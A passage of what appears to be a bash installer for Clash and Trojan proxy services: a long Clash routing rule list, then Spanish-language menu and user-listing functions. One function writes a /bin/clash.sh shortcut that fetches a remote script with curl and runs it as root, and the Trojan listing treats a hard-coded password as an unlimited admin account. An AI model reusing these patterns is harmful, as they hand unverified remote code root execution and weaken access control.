DOMAIN-SUFFIX,ifixit.com,ChumoGH-ADM +- DOMAIN-SUFFIX,iphone4hongkong.com,ChumoGH-ADM +- DOMAIN-SUFFIX,iphonetaiwan.org,ChumoGH-ADM +- DOMAIN-SUFFIX,iptvbin.com,ChumoGH-ADM +- DOMAIN-SUFFIX,linksalpha.com,ChumoGH-ADM +- DOMAIN-SUFFIX,manyvids.com,ChumoGH-ADM +- DOMAIN-SUFFIX,myactimes.com,ChumoGH-ADM +- DOMAIN-SUFFIX,newsblur.com,ChumoGH-ADM +- DOMAIN-SUFFIX,now.im,ChumoGH-ADM +- DOMAIN-SUFFIX,nowe.com,ChumoGH-ADM +- DOMAIN-SUFFIX,redditlist.com,ChumoGH-ADM +- DOMAIN-SUFFIX,s3.amazonaws.com,ChumoGH-ADM +- DOMAIN-SUFFIX,signal.org,ChumoGH-ADM +- DOMAIN-SUFFIX,smartmailcloud.com,ChumoGH-ADM +- DOMAIN-SUFFIX,sparknotes.com,ChumoGH-ADM +- DOMAIN-SUFFIX,streetvoice.com,ChumoGH-ADM +- DOMAIN-SUFFIX,supertop.co,ChumoGH-ADM +- DOMAIN-SUFFIX,tv.com,ChumoGH-ADM +- DOMAIN-SUFFIX,typepad.com,ChumoGH-ADM +- DOMAIN-SUFFIX,udnbkk.com,ChumoGH-ADM +- DOMAIN-SUFFIX,urbanairship.com,ChumoGH-ADM +- DOMAIN-SUFFIX,whispersystems.org,ChumoGH-ADM +- DOMAIN-SUFFIX,wikia.com,ChumoGH-ADM +- DOMAIN-SUFFIX,wn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,wolframalpha.com,ChumoGH-ADM +- DOMAIN-SUFFIX,x-art.com,ChumoGH-ADM +- DOMAIN-SUFFIX,yimg.com,ChumoGH-ADM +- DOMAIN,api.steampowered.com,ChumoGH-ADM +- DOMAIN,store.steampowered.com,ChumoGH-ADM + +# China Area Network +# > 360 +- DOMAIN-SUFFIX,qhres.com,ChumoGH-ADM +- DOMAIN-SUFFIX,qhimg.com,ChumoGH-ADM +# > Akamai +- DOMAIN-SUFFIX,akadns.net,ChumoGH-ADM +# - DOMAIN-SUFFIX,akamai.net,ChumoGH-ADM +# - DOMAIN-SUFFIX,akamaiedge.net,ChumoGH-ADM +# - DOMAIN-SUFFIX,akamaihd.net,ChumoGH-ADM +# - DOMAIN-SUFFIX,akamaistream.net,ChumoGH-ADM +# - DOMAIN-SUFFIX,akamaized.net,ChumoGH-ADM +# > Alibaba +# USER-AGENT,%E4%BC%98%E9%85%B7*,ChumoGH-ADM +- DOMAIN-SUFFIX,alibaba.com,ChumoGH-ADM +- DOMAIN-SUFFIX,alicdn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,alikunlun.com,ChumoGH-ADM +- DOMAIN-SUFFIX,alipay.com,ChumoGH-ADM +- DOMAIN-SUFFIX,amap.com,ChumoGH-ADM +- DOMAIN-SUFFIX,autonavi.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dingtalk.com,ChumoGH-ADM +- DOMAIN-SUFFIX,mxhichina.com,ChumoGH-ADM +- DOMAIN-SUFFIX,soku.com,ChumoGH-ADM +- DOMAIN-SUFFIX,taobao.com,ChumoGH-ADM +- DOMAIN-SUFFIX,tmall.com,ChumoGH-ADM +- DOMAIN-SUFFIX,tmall.hk,ChumoGH-ADM +- DOMAIN-SUFFIX,ykimg.com,ChumoGH-ADM +- DOMAIN-SUFFIX,youku.com,ChumoGH-ADM +- DOMAIN-SUFFIX,xiami.com,ChumoGH-ADM +- DOMAIN-SUFFIX,xiami.net,ChumoGH-ADM +# > Baidu +- DOMAIN-SUFFIX,baidu.com,ChumoGH-ADM +- DOMAIN-SUFFIX,baidubcr.com,ChumoGH-ADM +- DOMAIN-SUFFIX,bdstatic.com,ChumoGH-ADM +- DOMAIN-SUFFIX,yunjiasu-cdn.net,ChumoGH-ADM +# > bilibili +- DOMAIN-SUFFIX,acgvideo.com,ChumoGH-ADM +- DOMAIN-SUFFIX,biliapi.com,ChumoGH-ADM +- DOMAIN-SUFFIX,biliapi.net,ChumoGH-ADM +- DOMAIN-SUFFIX,bilibili.com,ChumoGH-ADM +- DOMAIN-SUFFIX,bilibili.tv,ChumoGH-ADM +- DOMAIN-SUFFIX,hdslb.com,ChumoGH-ADM +# > Blizzard +- DOMAIN-SUFFIX,blizzard.com,ChumoGH-ADM +- DOMAIN-SUFFIX,battle.net,ChumoGH-ADM +- DOMAIN,blzddist1-a.akamaihd.net,ChumoGH-ADM +# > ByteDance +- DOMAIN-SUFFIX,feiliao.com,ChumoGH-ADM +- DOMAIN-SUFFIX,pstatp.com,ChumoGH-ADM +- DOMAIN-SUFFIX,snssdk.com,ChumoGH-ADM +- DOMAIN-SUFFIX,iesdouyin.com,ChumoGH-ADM +- DOMAIN-SUFFIX,toutiao.com,ChumoGH-ADM +# > CCTV +- DOMAIN-SUFFIX,cctv.com,ChumoGH-ADM +- DOMAIN-SUFFIX,cctvpic.com,ChumoGH-ADM +- DOMAIN-SUFFIX,livechina.com,ChumoGH-ADM +# > DiDi +- DOMAIN-SUFFIX,didialift.com,ChumoGH-ADM +- DOMAIN-SUFFIX,didiglobal.com,ChumoGH-ADM +- DOMAIN-SUFFIX,udache.com,ChumoGH-ADM +# > 蛋蛋赞 +- DOMAIN-SUFFIX,343480.com,ChumoGH-ADM +- DOMAIN-SUFFIX,baduziyuan.com,ChumoGH-ADM +- DOMAIN-SUFFIX,com-hs-hkdy.com,ChumoGH-ADM +- DOMAIN-SUFFIX,czybjz.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dandanzan.com,ChumoGH-ADM +- DOMAIN-SUFFIX,fjhps.com,ChumoGH-ADM +- DOMAIN-SUFFIX,kuyunbo.club,ChumoGH-ADM +# > ChinaNet +- DOMAIN-SUFFIX,21cn.com,ChumoGH-ADM +# > HunanTV +- DOMAIN-SUFFIX,hitv.com,ChumoGH-ADM +- DOMAIN-SUFFIX,mgtv.com,ChumoGH-ADM +# > iQiyi +- DOMAIN-SUFFIX,iqiyi.com,ChumoGH-ADM +- DOMAIN-SUFFIX,iqiyipic.com,ChumoGH-ADM +- DOMAIN-SUFFIX,71.am.com,ChumoGH-ADM +# > JD +- DOMAIN-SUFFIX,jd.com,ChumoGH-ADM +- DOMAIN-SUFFIX,jd.hk,ChumoGH-ADM +- DOMAIN-SUFFIX,jdpay.com,ChumoGH-ADM +- DOMAIN-SUFFIX,360buyimg.com,ChumoGH-ADM +# > Kingsoft +- DOMAIN-SUFFIX,iciba.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ksosoft.com,ChumoGH-ADM +# > Meitu +- DOMAIN-SUFFIX,meitu.com,ChumoGH-ADM +- DOMAIN-SUFFIX,meitudata.com,ChumoGH-ADM +- DOMAIN-SUFFIX,meitustat.com,ChumoGH-ADM +- DOMAIN-SUFFIX,meipai.com,ChumoGH-ADM +# > MI +- DOMAIN-SUFFIX,duokan.com,ChumoGH-ADM +- DOMAIN-SUFFIX,mi-img.com,ChumoGH-ADM +- DOMAIN-SUFFIX,miui.com,ChumoGH-ADM +- DOMAIN-SUFFIX,miwifi.com,ChumoGH-ADM +- DOMAIN-SUFFIX,xiaomi.com,ChumoGH-ADM +# > Microsoft +- DOMAIN-SUFFIX,microsoft.com,ChumoGH-ADM +- DOMAIN-SUFFIX,msecnd.net,ChumoGH-ADM +- DOMAIN-SUFFIX,office365.com,ChumoGH-ADM +- DOMAIN-SUFFIX,outlook.com,ChumoGH-ADM +- DOMAIN-SUFFIX,s-microsoft.com,ChumoGH-ADM +- DOMAIN-SUFFIX,visualstudio.com,ChumoGH-ADM +- DOMAIN-SUFFIX,windows.com,ChumoGH-ADM +- DOMAIN-SUFFIX,windowsupdate.com,ChumoGH-ADM +- DOMAIN,officecdn-microsoft-com.akamaized.net,ChumoGH-ADM +# > NetEase +# USER-AGENT,NeteaseMusic*,ChumoGH-ADM +# USER-AGENT,%E7%BD%91%E6%98%93%E4%BA%91%E9%9F%B3%E4%B9%90*,ChumoGH-ADM +- DOMAIN-SUFFIX,163.com,ChumoGH-ADM +- DOMAIN-SUFFIX,126.net,ChumoGH-ADM +- DOMAIN-SUFFIX,127.net,ChumoGH-ADM +- DOMAIN-SUFFIX,163yun.com,ChumoGH-ADM +- DOMAIN-SUFFIX,lofter.com,ChumoGH-ADM +- DOMAIN-SUFFIX,netease.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ydstatic.com,ChumoGH-ADM +# > Sina +- DOMAIN-SUFFIX,sina.com,ChumoGH-ADM +- DOMAIN-SUFFIX,weibo.com,ChumoGH-ADM +- DOMAIN-SUFFIX,weibocdn.com,ChumoGH-ADM +# > Sohu +- DOMAIN-SUFFIX,sohu.com,ChumoGH-ADM +- DOMAIN-SUFFIX,sohucs.com,ChumoGH-ADM +- DOMAIN-SUFFIX,sohu-inc.com,ChumoGH-ADM +- DOMAIN-SUFFIX,v-56.com,ChumoGH-ADM +# > Sogo +- DOMAIN-SUFFIX,sogo.com,ChumoGH-ADM +- DOMAIN-SUFFIX,sogou.com,ChumoGH-ADM +- DOMAIN-SUFFIX,sogoucdn.com,ChumoGH-ADM +# > Steam +- DOMAIN-SUFFIX,steampowered.com,ChumoGH-ADM +- DOMAIN-SUFFIX,steam-chat.com,ChumoGH-ADM +- DOMAIN-SUFFIX,steamgames.com,ChumoGH-ADM +- DOMAIN-SUFFIX,steamusercontent.com,ChumoGH-ADM +- DOMAIN-SUFFIX,steamcontent.com,ChumoGH-ADM +- DOMAIN-SUFFIX,steamstatic.com,ChumoGH-ADM +- DOMAIN-SUFFIX,steamcdn-a.akamaihd.net,ChumoGH-ADM +- DOMAIN-SUFFIX,steamstat.us,ChumoGH-ADM +# > Tencent +# USER-AGENT,MicroMessenger%20Client,ChumoGH-ADM +# USER-AGENT,WeChat*,ChumoGH-ADM +- DOMAIN-SUFFIX,gtimg.com,ChumoGH-ADM +- DOMAIN-SUFFIX,idqqimg.com,ChumoGH-ADM +- DOMAIN-SUFFIX,igamecj.com,ChumoGH-ADM +- DOMAIN-SUFFIX,myapp.com,ChumoGH-ADM +- DOMAIN-SUFFIX,myqcloud.com,ChumoGH-ADM +- DOMAIN-SUFFIX,qq.com,ChumoGH-ADM +- DOMAIN-SUFFIX,tencent.com,ChumoGH-ADM +- DOMAIN-SUFFIX,tencent-cloud.net,ChumoGH-ADM +# > YYeTs +# USER-AGENT,YYeTs*,ChumoGH-ADM +- DOMAIN-SUFFIX,jstucdn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,zimuzu.io,ChumoGH-ADM +- DOMAIN-SUFFIX,zimuzu.tv,ChumoGH-ADM +- DOMAIN-SUFFIX,zmz2019.com,ChumoGH-ADM +- DOMAIN-SUFFIX,zmzapi.com,ChumoGH-ADM +- DOMAIN-SUFFIX,zmzapi.net,ChumoGH-ADM +- DOMAIN-SUFFIX,zmzfile.com,ChumoGH-ADM +# > Content Delivery Network +- DOMAIN-SUFFIX,ccgslb.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ccgslb.net,ChumoGH-ADM +- DOMAIN-SUFFIX,chinanetcenter.com,ChumoGH-ADM +- DOMAIN-SUFFIX,meixincdn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ourdvs.com,ChumoGH-ADM +- DOMAIN-SUFFIX,staticdn.net,ChumoGH-ADM +- DOMAIN-SUFFIX,wangsu.com,ChumoGH-ADM +# > IP Query +- DOMAIN-SUFFIX,ipip.net,ChumoGH-ADM +- DOMAIN-SUFFIX,ip.la,ChumoGH-ADM +- DOMAIN-SUFFIX,ip-cdn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ipv6-test.com,ChumoGH-ADM +- DOMAIN-SUFFIX,test-ipv6.com,ChumoGH-ADM +- DOMAIN-SUFFIX,whatismyip.com,ChumoGH-ADM +# > Speed Test +# - DOMAIN-SUFFIX,speedtest.net,ChumoGH-ADM +- DOMAIN-SUFFIX,netspeedtestmaster.com,ChumoGH-ADM +- DOMAIN,speedtest.macpaw.com,ChumoGH-ADM +# > Private Tracker +- DOMAIN-SUFFIX,awesome-hd.me,ChumoGH-ADM +- DOMAIN-SUFFIX,broadcasthe.net,ChumoGH-ADM +- DOMAIN-SUFFIX,chdbits.co,ChumoGH-ADM +- DOMAIN-SUFFIX,classix-unlimited.co.uk,ChumoGH-ADM +- DOMAIN-SUFFIX,empornium.me,ChumoGH-ADM +- DOMAIN-SUFFIX,gazellegames.net,ChumoGH-ADM +- DOMAIN-SUFFIX,hdchina.org,ChumoGH-ADM +- DOMAIN-SUFFIX,hdsky.me,ChumoGH-ADM +- DOMAIN-SUFFIX,icetorrent.org,ChumoGH-ADM +- DOMAIN-SUFFIX,jpopsuki.eu,ChumoGH-ADM +- DOMAIN-SUFFIX,keepfrds.com,ChumoGH-ADM +- DOMAIN-SUFFIX,madsrevolution.net,ChumoGH-ADM +- DOMAIN-SUFFIX,m-team.cc,ChumoGH-ADM +- DOMAIN-SUFFIX,nanyangpt.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ncore.cc,ChumoGH-ADM +- DOMAIN-SUFFIX,open.cd,ChumoGH-ADM +- DOMAIN-SUFFIX,ourbits.club,ChumoGH-ADM +- DOMAIN-SUFFIX,passthepopcorn.me,ChumoGH-ADM +- DOMAIN-SUFFIX,privatehd.to,ChumoGH-ADM +- DOMAIN-SUFFIX,redacted.ch,ChumoGH-ADM +- DOMAIN-SUFFIX,springsunday.net,ChumoGH-ADM +- DOMAIN-SUFFIX,tjupt.org,ChumoGH-ADM +- DOMAIN-SUFFIX,totheglory.im,ChumoGH-ADM +# > Scholar +- DOMAIN-SUFFIX,acm.org,ChumoGH-ADM +- DOMAIN-SUFFIX,acs.org,ChumoGH-ADM +- DOMAIN-SUFFIX,aip.org,ChumoGH-ADM +- DOMAIN-SUFFIX,ams.org,ChumoGH-ADM +- DOMAIN-SUFFIX,annualreviews.org,ChumoGH-ADM +- DOMAIN-SUFFIX,aps.org,ChumoGH-ADM +- DOMAIN-SUFFIX,ascelibrary.org,ChumoGH-ADM +- DOMAIN-SUFFIX,asm.org,ChumoGH-ADM +- DOMAIN-SUFFIX,asme.org,ChumoGH-ADM +- DOMAIN-SUFFIX,astm.org,ChumoGH-ADM +- DOMAIN-SUFFIX,bmj.com,ChumoGH-ADM +- DOMAIN-SUFFIX,cambridge.org,ChumoGH-ADM +- DOMAIN-SUFFIX,cas.org,ChumoGH-ADM +- DOMAIN-SUFFIX,clarivate.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ebscohost.com,ChumoGH-ADM +- DOMAIN-SUFFIX,emerald.com,ChumoGH-ADM +- DOMAIN-SUFFIX,engineeringvillage.com,ChumoGH-ADM +- DOMAIN-SUFFIX,icevirtuallibrary.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ieee.org,ChumoGH-ADM +- DOMAIN-SUFFIX,imf.org,ChumoGH-ADM +- DOMAIN-SUFFIX,iop.org,ChumoGH-ADM +- DOMAIN-SUFFIX,jamanetwork.com,ChumoGH-ADM +- DOMAIN-SUFFIX,jhu.edu,ChumoGH-ADM +- DOMAIN-SUFFIX,jstor.org,ChumoGH-ADM +- DOMAIN-SUFFIX,karger.com,ChumoGH-ADM +- DOMAIN-SUFFIX,libguides.com,ChumoGH-ADM +- DOMAIN-SUFFIX,madsrevolution.net,ChumoGH-ADM +- DOMAIN-SUFFIX,mpg.de,ChumoGH-ADM +- DOMAIN-SUFFIX,myilibrary.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nature.com,ChumoGH-ADM +- DOMAIN-SUFFIX,oecd-ilibrary.org,ChumoGH-ADM +- DOMAIN-SUFFIX,osapublishing.org,ChumoGH-ADM +- DOMAIN-SUFFIX,oup.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ovid.com,ChumoGH-ADM +- DOMAIN-SUFFIX,oxfordartonline.com,ChumoGH-ADM +- DOMAIN-SUFFIX,oxfordbibliographies.com,ChumoGH-ADM +- DOMAIN-SUFFIX,oxfordmusiconline.com,ChumoGH-ADM +- DOMAIN-SUFFIX,pnas.org,ChumoGH-ADM +- DOMAIN-SUFFIX,proquest.com,ChumoGH-ADM +- DOMAIN-SUFFIX,rsc.org,ChumoGH-ADM +- DOMAIN-SUFFIX,sagepub.com,ChumoGH-ADM +- DOMAIN-SUFFIX,sciencedirect.com,ChumoGH-ADM +- DOMAIN-SUFFIX,sciencemag.org,ChumoGH-ADM +- DOMAIN-SUFFIX,scopus.com,ChumoGH-ADM +- DOMAIN-SUFFIX,siam.org,ChumoGH-ADM +- DOMAIN-SUFFIX,spiedigitallibrary.org,ChumoGH-ADM +- DOMAIN-SUFFIX,springer.com,ChumoGH-ADM +- DOMAIN-SUFFIX,springerlink.com,ChumoGH-ADM +- DOMAIN-SUFFIX,tandfonline.com,ChumoGH-ADM +- DOMAIN-SUFFIX,un.org,ChumoGH-ADM +- DOMAIN-SUFFIX,uni-bielefeld.de,ChumoGH-ADM +- DOMAIN-SUFFIX,webofknowledge.com,ChumoGH-ADM +- DOMAIN-SUFFIX,westlaw.com,ChumoGH-ADM +- DOMAIN-SUFFIX,wiley.com,ChumoGH-ADM +- DOMAIN-SUFFIX,worldbank.org,ChumoGH-ADM +- DOMAIN-SUFFIX,worldscientific.com,ChumoGH-ADM +# > Plex Media Server +- DOMAIN-SUFFIX,plex.tv,ChumoGH-ADM +# > Other +- DOMAIN-SUFFIX,cn,ChumoGH-ADM +- DOMAIN-SUFFIX,360in.com,ChumoGH-ADM +- DOMAIN-SUFFIX,51ym.me,ChumoGH-ADM +- DOMAIN-SUFFIX,8686c.com,ChumoGH-ADM +- DOMAIN-SUFFIX,abchina.com,ChumoGH-ADM +- DOMAIN-SUFFIX,accuweather.com,ChumoGH-ADM +- DOMAIN-SUFFIX,aicoinstorge.com,ChumoGH-ADM +- DOMAIN-SUFFIX,air-matters.com,ChumoGH-ADM +- DOMAIN-SUFFIX,air-matters.io,ChumoGH-ADM +- DOMAIN-SUFFIX,aixifan.com,ChumoGH-ADM +- DOMAIN-SUFFIX,amd.com,ChumoGH-ADM +- DOMAIN-SUFFIX,b612.net,ChumoGH-ADM +- DOMAIN-SUFFIX,bdatu.com,ChumoGH-ADM +- DOMAIN-SUFFIX,beitaichufang.com,ChumoGH-ADM +- DOMAIN-SUFFIX,bjango.com,ChumoGH-ADM +- DOMAIN-SUFFIX,booking.com,ChumoGH-ADM +- DOMAIN-SUFFIX,bstatic.com,ChumoGH-ADM +- DOMAIN-SUFFIX,cailianpress.com,ChumoGH-ADM +- DOMAIN-SUFFIX,camera360.com,ChumoGH-ADM +- DOMAIN-SUFFIX,chinaso.com,ChumoGH-ADM +- DOMAIN-SUFFIX,chua.pro,ChumoGH-ADM +- DOMAIN-SUFFIX,chuimg.com,ChumoGH-ADM +- DOMAIN-SUFFIX,chunyu.mobi,ChumoGH-ADM +- DOMAIN-SUFFIX,chushou.tv,ChumoGH-ADM +- DOMAIN-SUFFIX,cmbchina.com,ChumoGH-ADM +- DOMAIN-SUFFIX,cmbimg.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ctrip.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dfcfw.com,ChumoGH-ADM +- DOMAIN-SUFFIX,docschina.org,ChumoGH-ADM +- DOMAIN-SUFFIX,douban.com,ChumoGH-ADM +- DOMAIN-SUFFIX,doubanio.com,ChumoGH-ADM +- DOMAIN-SUFFIX,douyu.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dxycdn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dytt8.net,ChumoGH-ADM +- DOMAIN-SUFFIX,eastmoney.com,ChumoGH-ADM +- DOMAIN-SUFFIX,eudic.net,ChumoGH-ADM +- DOMAIN-SUFFIX,feng.com,ChumoGH-ADM +- DOMAIN-SUFFIX,fengkongcloud.com,ChumoGH-ADM +- DOMAIN-SUFFIX,frdic.com,ChumoGH-ADM +- DOMAIN-SUFFIX,futu5.com,ChumoGH-ADM +- DOMAIN-SUFFIX,futunn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,gandi.net,ChumoGH-ADM +- DOMAIN-SUFFIX,geilicdn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,getpricetag.com,ChumoGH-ADM +- DOMAIN-SUFFIX,gifshow.com,ChumoGH-ADM +- DOMAIN-SUFFIX,godic.net,ChumoGH-ADM +- DOMAIN-SUFFIX,hicloud.com,ChumoGH-ADM +- DOMAIN-SUFFIX,hongxiu.com,ChumoGH-ADM +- DOMAIN-SUFFIX,hostbuf.com,ChumoGH-ADM +- DOMAIN-SUFFIX,huxiucdn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,huya.com,ChumoGH-ADM +- DOMAIN-SUFFIX,infinitynewtab.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ithome.com,ChumoGH-ADM +- DOMAIN-SUFFIX,java.com,ChumoGH-ADM +- DOMAIN-SUFFIX,jidian.im,ChumoGH-ADM +- DOMAIN-SUFFIX,kaiyanapp.com,ChumoGH-ADM +- DOMAIN-SUFFIX,kaspersky-labs.com,ChumoGH-ADM +- DOMAIN-SUFFIX,keepcdn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,kkmh.com,ChumoGH-ADM +- DOMAIN-SUFFIX,licdn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,linkedin.com,ChumoGH-ADM +- DOMAIN-SUFFIX,loli.net,ChumoGH-ADM +- DOMAIN-SUFFIX,luojilab.com,ChumoGH-ADM +- DOMAIN-SUFFIX,maoyan.com,ChumoGH-ADM +- DOMAIN-SUFFIX,maoyun.tv,ChumoGH-ADM +- DOMAIN-SUFFIX,meituan.com,ChumoGH-ADM +- DOMAIN-SUFFIX,meituan.net,ChumoGH-ADM +- DOMAIN-SUFFIX,mobike.com,ChumoGH-ADM +- DOMAIN-SUFFIX,moke.com,ChumoGH-ADM +- DOMAIN-SUFFIX,mubu.com,ChumoGH-ADM +- DOMAIN-SUFFIX,myzaker.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nim-lang-cn.org,ChumoGH-ADM +- DOMAIN-SUFFIX,nvidia.com,ChumoGH-ADM +- DOMAIN-SUFFIX,oracle.com,ChumoGH-ADM +- DOMAIN-SUFFIX,paypal.com,ChumoGH-ADM +- DOMAIN-SUFFIX,paypalobjects.com,ChumoGH-ADM +- DOMAIN-SUFFIX,qdaily.com,ChumoGH-ADM +- DOMAIN-SUFFIX,qidian.com,ChumoGH-ADM +- DOMAIN-SUFFIX,qyer.com,ChumoGH-ADM +- DOMAIN-SUFFIX,qyerstatic.com,ChumoGH-ADM +- DOMAIN-SUFFIX,raychase.net,ChumoGH-ADM +- DOMAIN-SUFFIX,ronghub.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ruguoapp.com,ChumoGH-ADM +- DOMAIN-SUFFIX,s-reader.com,ChumoGH-ADM +- DOMAIN-SUFFIX,sankuai.com,ChumoGH-ADM +- DOMAIN-SUFFIX,scomper.me,ChumoGH-ADM +- DOMAIN-SUFFIX,seafile.com,ChumoGH-ADM +- DOMAIN-SUFFIX,sm.ms,ChumoGH-ADM +- DOMAIN-SUFFIX,smzdm.com,ChumoGH-ADM +- DOMAIN-SUFFIX,snapdrop.net,ChumoGH-ADM +- DOMAIN-SUFFIX,snwx.com,ChumoGH-ADM +- DOMAIN-SUFFIX,sspai.com,ChumoGH-ADM +- DOMAIN-SUFFIX,takungpao.com,ChumoGH-ADM +- DOMAIN-SUFFIX,teamviewer.com,ChumoGH-ADM +- DOMAIN-SUFFIX,tianyancha.com,ChumoGH-ADM +- DOMAIN-SUFFIX,udacity.com,ChumoGH-ADM +- DOMAIN-SUFFIX,uning.com,ChumoGH-ADM +- DOMAIN-SUFFIX,vmware.com,ChumoGH-ADM +- DOMAIN-SUFFIX,weather.com,ChumoGH-ADM +- DOMAIN-SUFFIX,weico.cc,ChumoGH-ADM +- DOMAIN-SUFFIX,weidian.com,ChumoGH-ADM +- DOMAIN-SUFFIX,xiachufang.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ximalaya.com,ChumoGH-ADM +- DOMAIN-SUFFIX,xinhuanet.com,ChumoGH-ADM +- DOMAIN-SUFFIX,xmcdn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,yangkeduo.com,ChumoGH-ADM +- DOMAIN-SUFFIX,zhangzishi.cc,ChumoGH-ADM +- DOMAIN-SUFFIX,zhihu.com,ChumoGH-ADM +- DOMAIN-SUFFIX,zhimg.com,ChumoGH-ADM +- DOMAIN-SUFFIX,zhuihd.com,ChumoGH-ADM +- DOMAIN,download.jetbrains.com,ChumoGH-ADM +- DOMAIN,images-cn.ssl-images-amazon.com,ChumoGH-ADM + +# > ChumoGH-ADM +- DOMAIN-SUFFIX,aaplimg.com,ChumoGH-ADM +- DOMAIN-SUFFIX,apple.co,ChumoGH-ADM +- DOMAIN-SUFFIX,apple.com,ChumoGH-ADM +- DOMAIN-SUFFIX,apple-cloudkit.com,ChumoGH-ADM +- DOMAIN-SUFFIX,appstore.com,ChumoGH-ADM +- DOMAIN-SUFFIX,cdn-apple.com,ChumoGH-ADM +- DOMAIN-SUFFIX,crashlytics.com,ChumoGH-ADM +- DOMAIN-SUFFIX,icloud.com,ChumoGH-ADM +- DOMAIN-SUFFIX,icloud-content.com,ChumoGH-ADM +- DOMAIN-SUFFIX,me.com,ChumoGH-ADM +- DOMAIN-SUFFIX,mzstatic.com,ChumoGH-ADM +- DOMAIN,www-cdn.icloud.com.akadns.net,ChumoGH-ADM +- DOMAIN,clash.razord.top,ChumoGH-ADM +- DOMAIN,v2ex.com,ChumoGH-ADM +- IP-CIDR,17.0.0.0/8,ChumoGH-ADM,no-resolve + +# Local Area Network +- IP-CIDR,192.168.0.0/16,ChumoGH-ADM +- IP-CIDR,10.0.0.0/8,ChumoGH-ADM +- IP-CIDR,172.16.0.0/12,ChumoGH-ADM +- IP-CIDR,127.0.0.0/8,ChumoGH-ADM +- IP-CIDR,100.64.0.0/10,ChumoGH-ADM + +# DNSPod Public DNS+ +- IP-CIDR,119.28.28.28/32,ChumoGH-ADM,no-resolve +# GeoIP China +- GEOIP,CN,ChumoGH-ADM + +- MATCH,ChumoGH-ADM + +proxies:' >> /root/.config/clash/config.yaml +[[ $mode = 2 ]] && echo -e ' +proxies:' >> /root/.config/clash/config.yaml +} + +conFIN() { +confRULE +[[ ! -z ${proTRO} ]] && echo -e "${proTRO}" >> /root/.config/clash/config.yaml +[[ ! -z ${proV2R} ]] && echo -e "${proV2R}" >> /root/.config/clash/config.yaml +[[ ! -z ${proXR} ]] && echo -e "${proXR}" >> /root/.config/clash/config.yaml + +#echo '' + +echo "#POWER BY @drowkid01" >> /root/.config/clash/config.yaml +} + +enon(){ + clear + msg -bar3 + blanco " Se ha agregado un autoejecutor en el Sector de Inicios Rapidos" + msg -bar3 + blanco " Para Acceder al menu Rapido \n Utilize * clash.sh * !!!" + msg -bar3 + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31mSi deseas desabilitar esta opcion, apagala" + echo -e " Y te recomiendo, no alterar nada en este menu, para" + echo -e " Evitar Errores Futuros" + echo -e " y causar problemas en futuras instalaciones.\033[0m" + msg -bar3 + continuar + read foo +} +enoff(){ +rm -f /bin/clash.sh + msg -bar3 + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31mSe ha Desabilitado el menu Rapido de clash.sh" + echo -e " Y te recomiendo, no alterar nada en este menu, para" + echo -e " Evitar Errores Futuros" + echo -e " y causar problemas en futuras instalaciones.\033[0m" + msg -bar3 + continuar + read foo +} + +enttrada () { +echo 'source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/ClashForAndroidGLOBAL.sh)' > /bin/clash.sh && chmod +x /bin/clash.sh +} + +blanco(){ + [[ ! $2 = 0 ]] && { + echo -e "\033[1;37m$1\033[0m" + } || { + echo -ne " \033[1;37m$1:\033[0m " + } +} +title(){ + msg -bar3 + blanco "$1" + msg -bar3 +} +col(){ + nom=$(printf '%-55s' "\033[0;92m${1} \033[0;31m>> \033[1;37m${2}") + echo -e " $nom\033[0;31m${3} \033[0;92m${4}\033[0m" +} +col2(){ + echo -e " \033[1;91m$1\033[0m \033[1;37m$2\033[0m" +} +vacio(){ +blanco "\n no se puede ingresar campos vacios..." +} +cancelar(){ +echo -e "\n \033[3;49;31minstalacion cancelada...\033[0m" +} +continuar(){ +echo -e " \033[3;49;32mEnter para continuar...\033[0m" +} +userDat(){ + blanco " N° Usuarios fech exp dias" + msg -bar3 +} +view_usert(){ +configt="/usr/local/etc/trojan/config.json" +tempt="/etc/trojan/temp.json" +trojdirt="/etc/trojan" +user_conf="/etc/trojan/user" +backdirt="/etc/trojan/back" +tmpdirt="$backdir/tmp" + unset seg + seg=$(date +%s) + while : + do + nick="$(cat $configt | grep ',"')" + users="$(cat $configt | jq -r .password[])" + title " ESCOJE USUARIO TROJAN" + userDat + + n=1 + for i in $users + do + unset DateExp + unset seg_exp + unset exp + + [[ $i = chumoghscript ]] && { + Usr="Admin" + DateExp=" Ilimitado" + } || { + Usr="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f1)" + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + exp="[$(($(($seg_exp - $seg)) / 86400))]" + } + col "$n)" "${Usr}" "$DateExp" "$exp" + let n++ + done + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "SELECCIONA USUARIO" 0 + read opcion + [[ -z $opcion ]] && vacio && sleep 0.3s && continue + [[ $opcion = 0 ]] && tropass="user_null" && break + n=1 + unset i + for i in $users + do + [[ $n = $opcion ]] && tropass=$i + let 